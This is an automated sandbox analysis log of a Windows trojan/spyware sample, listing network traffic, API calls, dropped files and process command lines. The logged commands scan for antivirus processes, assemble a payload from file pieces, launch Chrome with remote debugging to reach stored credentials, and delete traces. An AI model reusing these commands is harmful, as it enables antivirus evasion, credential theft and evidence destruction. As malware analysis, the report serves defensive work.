Source: Dry.com, 0000000A.00000002.2463740067.0000000006AC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Dry.com, 0000000A.00000002.2463740067.0000000006AC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Dry.com, 0000000A.00000002.2463740067.0000000006AC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Dry.com, 0000000A.00000002.2463740067.0000000006AC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Dry.com, 0000000A.00000002.2463740067.0000000006AC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 9EI7wrGs4K.exe	String found in binary or memory: https://www.ssl.com/repository0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.188.57:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B5F7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

10_2_00B5F7C7

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B5F55C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

10_2_00B5F55C

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B79FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

10_2_00B79FD2

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00AFFFE0 CloseHandle,NtProtectVirtualMemory,

10_2_00AFFFE0

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B54763: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

10_2_00B54763

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B41B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

10_2_00B41B4D

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,		0_2_004038AF
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B4F20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		10_2_00B4F20D

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	File created: C:\Windows\MpForgotten	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	File created: C:\Windows\TabletAction	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	File created: C:\Windows\CommunityProduction	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	File created: C:\Windows\ExtractNicholas	Jump to behavior

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Code function: 0_2_004049A8	0_2_004049A8
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B08017	10_2_00B08017
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00AEE1F0	10_2_00AEE1F0
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00AFE144	10_2_00AFE144
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00AE22AD	10_2_00AE22AD
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B022A2	10_2_00B022A2
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B1A26E	10_2_00B1A26E
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00AFC624	10_2_00AFC624
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B6C8A4	10_2_00B6C8A4
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B1E87F	10_2_00B1E87F
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B16ADE	10_2_00B16ADE
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B52A05	10_2_00B52A05
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B48BFF	10_2_00B48BFF
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00AFCD7A	10_2_00AFCD7A
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B0CE10	10_2_00B0CE10
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B17159	10_2_00B17159
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00AE9240	10_2_00AE9240
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B75311	10_2_00B75311
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00AE96E0	10_2_00AE96E0
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B01704	10_2_00B01704
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B01A76	10_2_00B01A76
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B07B8B	10_2_00B07B8B
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00AE9B60	10_2_00AE9B60
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B07DBA	10_2_00B07DBA
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B01D20	10_2_00B01D20
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B01FE7	10_2_00B01FE7

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\245347\Dry.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Code function: String function: 004062CF appears 58 times
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: String function: 00AFFD52 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: String function: 00B00DA0 appears 46 times

Source: 9EI7wrGs4K.exe

Static PE information: invalid certificate

Source: 9EI7wrGs4K.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@43/36@5/6

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B541FA GetLastError,FormatMessageW,

10_2_00B541FA

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B42010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		10_2_00B42010
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B41A0B AdjustTokenPrivileges,CloseHandle,		10_2_00B41A0B

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

0_2_004044D1

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B4DD87 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

10_2_00B4DD87

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B53A0E CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

10_2_00B53A0E

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\VPN9OH77.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6172:120:WilError_03

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

File created: C:\Users\user\AppData\Local\Temp\nsv8BCF.tmp

Jump to behavior

Source: 9EI7wrGs4K.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Q9RQQIMOZ.10.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 9EI7wrGs4K.exe	ReversingLabs: Detection: 21%
Source: 9EI7wrGs4K.exe	Virustotal: Detection: 18%

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

File read: C:\Users\user\Desktop\9EI7wrGs4K.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\9EI7wrGs4K.exe "C:\Users\user\Desktop\9EI7wrGs4K.exe"
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 245347
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "profiles" Organizing
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\245347\Dry.com Dry.com b
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2664 --field-trial-handle=2436,i,2326185924159091694,5961255311856640227,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\245347\Dry.com" & rd /s /q "C:\ProgramData\OHVS0RIMGLNY" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 245347	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "profiles" Organizing	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\245347\Dry.com Dry.com b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\245347\Dry.com" & rd /s /q "C:\ProgramData\OHVS0RIMGLNY" & exit	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2664 --field-trial-handle=2436,i,2326185924159091694,5961255311856640227,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
